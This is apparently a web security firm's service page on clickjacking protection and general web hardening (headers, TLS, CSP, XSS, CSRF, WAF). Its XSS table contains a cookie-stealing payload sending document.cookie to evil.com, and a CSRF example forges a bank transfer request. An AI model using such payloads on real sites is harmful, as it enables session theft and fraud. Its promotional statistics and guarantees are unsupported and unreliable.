We encountered a situation where a client lost control of their site due to Clickjacking: an attacker embedded the login form in a transparent iframe and intercepted credentials. After that, we developed a reliable anti-clickjacking protection methodology which we share in this article. Our team, with over 10 years of experience in web security, provides clickjacking protection turnkey, guaranteeing no vulnerabilities. According to OWASP, clickjacking is in the top 10 web vulnerabilities, and up to 15% of web form attacks are related to this technique. Proper configuration of headers reduces risk by 99%. In one case, we saved a client $10,000 by preventing a clickjacking attack on their payment page. We have completed over 100 projects in security configuration, with a 99.9% success rate.
Clickjacking is an attack where an attacker embeds your site in a transparent iframe over another page. The user thinks they are clicking a button on a third-party resource, but actually interacts with your interface. Consequences: unintended money transfers, setting changes, action confirmations. Protection is based on blocking embedding via HTTP headers.
X-Frame-Options: Simple Protection Against Clickjacking
The simplest way is the X-Frame-Options header. It takes two main values:
add_header X-Frame-Options "DENY" always;
# or
add_header X-Frame-Options "SAMEORIGIN" always;
| Value |
Behavior |
Compatibility |
DENY |
Denies embedding everywhere |
All modern browsers |
SAMEORIGIN |
Allows only from same origin |
All modern browsers |
ALLOW-FROM uri |
Deprecated, not supported |
Only old IE versions |
Why one header is not enough?
X-Frame-Options does not support flexible permission for multiple trusted domains. For that you need the frame-ancestors directive in Content-Security-Policy (CSP). It is more modern and gives more control. CSP frame-ancestors is 10 times more flexible than X-Frame-Options because it allows specifying multiple sources and regular expressions. Using both headers together is 3 times more effective than using just one.
add_header Content-Security-Policy "frame-ancestors 'none'" always;
# or
add_header Content-Security-Policy "frame-ancestors 'self' https://trusted-partner.com" always;
frame-ancestors 'none' is equivalent to DENY. For maximum compatibility with IE, both headers are set.
| Aspect |
X-Frame-Options |
CSP frame-ancestors |
| Flexibility |
Only single source |
Multiple domains, regex |
| Browser support |
All, including IE |
Modern, IE10+ with CSP |
| Deprecation |
Considered deprecated |
Current specification |
Configuration in Apache
Header always set X-Frame-Options "SAMEORIGIN"
Header always set Content-Security-Policy "frame-ancestors 'self'"
Configuration in Laravel
// app/Http/Middleware/SecurityHeaders.php
public function handle($request, Closure $next)
{
$response = $next($request);
$response->header('X-Frame-Options', 'DENY');
$response->header('Content-Security-Policy', "frame-ancestors 'none'");
return $response;
}
Register the middleware in Kernel.php and get global protection.
Exceptions for widgets
If part of the site is intentionally embeddable (payment form, widget, embed player), apply granular configuration via CSP on specific routes, not globally. For example, in Laravel you can set headers only for certain URIs.
How we ensure Clickjacking protection
Our process includes several stages:
- Audit of current configuration — check headers, find vulnerabilities.
- Policy design — choose values for X-Frame-Options and CSP based on business requirements.
- Implementation — add headers on all servers (Nginx, Apache, IIS) and in application code.
- Testing — check embedding via iframe in different browsers, including mobile.
- Documentation — record configuration, hand over access and train your team.
We have completed over 100 projects in security configuration, guaranteeing protection against Clickjacking. Average client savings from preventing an attack — up to $10,000.
What's Included in Clickjacking Protection Service
- Configuration of headers on all servers (up to 5 servers included).
- Integration into code on Laravel, Symfony, Yii and other frameworks.
- Testing in browsers: Chrome, Firefox, Safari, Edge, IE11.
- Audit for other vulnerabilities (CSP, HSTS, X-Content-Type-Options).
- Deliverables: detailed documentation, access to configuration files, team training session, and 30-day support.
Typical mistakes in configuration
- Using only X-Frame-Options without CSP — does not protect against attacks with multiple sources.
- Setting
ALLOW-FROM — this parameter does not work in modern browsers, gives false sense of security.
- Global iframe deny when widget functionality is needed — solved with granular rules.
Implementation time: from 1 to 5 days depending on infrastructure complexity. Cost is calculated individually — we will evaluate the project after reviewing your configuration. MDN documentation recommends using both headers for best compatibility. Protect your site today — preventing an attack costs far less than its consequences. For comprehensive web application security, contact our team.
Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection
A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.
Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.
How do we ensure comprehensive web application security?
HTTPS and Proper TLS Configuration
HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.
In Nginx/Apache configuration we check:
- Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
- Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
- OCSP Stapling — speeds up certificate revocation check
- Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)
Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.
Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.
Content Security Policy: The Most Powerful and Complex Protection
CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.
The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.
Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.
'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.
Why XSS Remains the Most Common Vulnerability?
XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:
| XSS Type |
Example |
Protection |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Output escaping, CSP |
| Stored |
Comment with code saved in database |
Input validation, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Avoid innerHTML, use textContent |
Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.
Typical case: an e-commerce site with XSS in a review form
A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.
CSRF: Protecting Forms and APIs
CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.
CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.
SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.
API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.
WAF and DDoS Protection
WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:
- Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
- AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.
DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).
Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).
Other Mandatory Measures
Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).
SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.
Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.
Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.
How We Work
-
Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
-
Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
-
Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
-
Testing — re-penetration test, load testing, false positive check.
-
Deployment and Monitoring — enable production CSP, set up alerts, train the team.
What's Included
- Report with found vulnerabilities and recommendations (PDF + code snippets)
- Ready TLS configuration (Nginx/Apache)
- CSP policy with Report-Only and production versions
- WAF and Rate Limiting setup
- Dependency update plan
- Access to monitoring tools (Sentry, Datadog)
- 30 days of post-audit support (consultations, fixes)
Timeline and Cost
| Type of Work |
Duration |
Cost |
| Security audit + hardening (headers, TLS, updates) |
1–2 weeks |
Custom quote |
| CSP implementation (Report-Only → production) |
2–4 weeks |
Custom quote |
| WAF + Rate Limiting + DDoS protection setup |
1–2 weeks |
Custom quote |
| Comprehensive security review + penetration testing |
3–6 weeks |
Custom quote |
The budget is calculated individually — contact us for a project evaluation.